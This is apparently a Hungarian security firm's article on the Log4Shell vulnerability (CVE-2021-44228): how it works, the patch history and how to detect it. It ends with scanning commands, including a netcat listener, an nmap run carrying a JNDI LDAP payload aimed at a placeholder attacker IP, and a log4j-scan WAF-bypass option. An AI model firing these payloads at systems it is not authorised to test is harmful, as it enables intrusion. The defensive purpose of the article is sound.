Log4j2 távoli kódfuttatás (RCE) sérülékenység keresése log4shell exploittal
Mi az a Log4j2 távoli kódfuttatás (RCE) sérülékenység?
2021 decemberében egy nagyon súlyos, távoli kódfuttatást lehetővé tévő sérülékenységet azonosítottak (CVE-2021-44228) a számos kiszolgálón és szoftverben megtalálható Log4j2 (2.0-beta9 - 2.14.1; Java 8+) naplózó komponensben.
Ha egy kiszolgáló vagy szoftver a sérülékeny Log4j2 naplózót használja, akkor egy támadó a felhasználói beviteli adatokba (fejlécparaméterek, beviteli mezők stb.) rejtett JNDI URI-lekéréssel rá tudja venni, hogy előre lefordított Java-exploitokat töltsön le a támadó saját szerveréről és azokat lefuttassa.
Miért veszélyes a Log4j2 távoli kódfuttatás (RCE) sérülékenység?
A sérülékenység sikeres kihasználásával a támadó (vagy támadó algoritmus) ugyan jogosultsági korlátokkal, de szoftvereket és parancsokat futtathat a megtámadott rendszeren. Ez a megtámadott rendszeren tárolt adatok (kommunikáció, jelszavak, felhasználónevek, személyes adatok stb.) manipulálásához, ellopásához, megsemmisítéséhez vagy zsarolóvírussal történő letitkosításához használható fel.
Hogyan javítható a Log4j2 távoli kódfuttatás (RCE) sérülékenység?
Bár többféle javaslat kering az interneten, a többségük nem alkalmazható univerzálisan, vagy azóta már kiderült róluk, hogy mégsem jelentenek valódi védelmet az sérülékenységgel szemben.
Továbbá a Log4j2-t karbantartó Apache ugyan javította az eredeti sérülékenységet (CVE-2021-44228) a Log4j 2.15.0-ben (Java 8), de kiderült hogy a javítás újabb sérülékenységet (CVE-2021-45046) hozott, amit a Log4j 2.12.2 (Java 7) és a Log4j 2.16.0 (Java 8) verziókban javítottak. Ezt követően még azonosítottak egy szintén ehhez kapcsolódó DoS sérülékenységet (CVE-2021-45105) is, amit Log4j 2.16.0 (Java 8) kiadásban javítottak.
Összességében tehát kijelenthető, hogy a feladat:
- Beazonosítani minden olyan szoftvert és kiszolgálót a szervezet informatikai infrastruktúrájában, ahol a sérülékeny Log4j2 használatban van.
- Frissíteni a szoftvert az Apache által kiadott legfrissebb verzióra.
Hogyan ellenőrizhető a Log4j2 távoli kódfuttatás (RCE) sérülékenység jelenléte?
A sérülékenység jelenlétének black-box ellenőrzésére számos segédeszközt kiadtak, amiket kizárólag akkor érdemes használnunk, ha nem vagyunk tisztában, mely szerverek lehetnek érintettek a hálózaton.
Amennyiben nem rendelkezünk a szükséges szakmai kompetenciákkal vagy vizsgálati környezettel a sérülékenység ellenőrzéséhez, igényeljük a Makay Kiberbiztonsági Kft. sérülékenységvizsgálat szolgáltatását!
Ha mégis házon beül szeretnénk megoldani a feladatot, akkor az alábbi ingyenes exploitokkal tehetjük meg:
github.com/Diverto/nse-log4shell
Publikus IP:PORT módon megszólítható vizsgálati környezet:
nc -lvnp 34556
nmap -v --script=ftp-log4shell.nse,http-log4shell.nse,http-spider-log4shell.nse,imap-log4shell.nse,sip-log4shell.nse,smtp-log4shell.nse,ssh-log4shell.nse "--script-args=log4shell.payload=\"${jndi:ldap://<PUBLIKUS IP>:34556/}\"" -T4 -n --script-timeout=1m <CÉLPONT>
github.com/fullhunt/log4j-scan
python3 log4j-scan.py -u <CÉLPONT> --waf-bypass
python3 log4j-scan.py -u <CÉLPONT> --run-all-tests
python3 log4j-scan.py -l urls.txt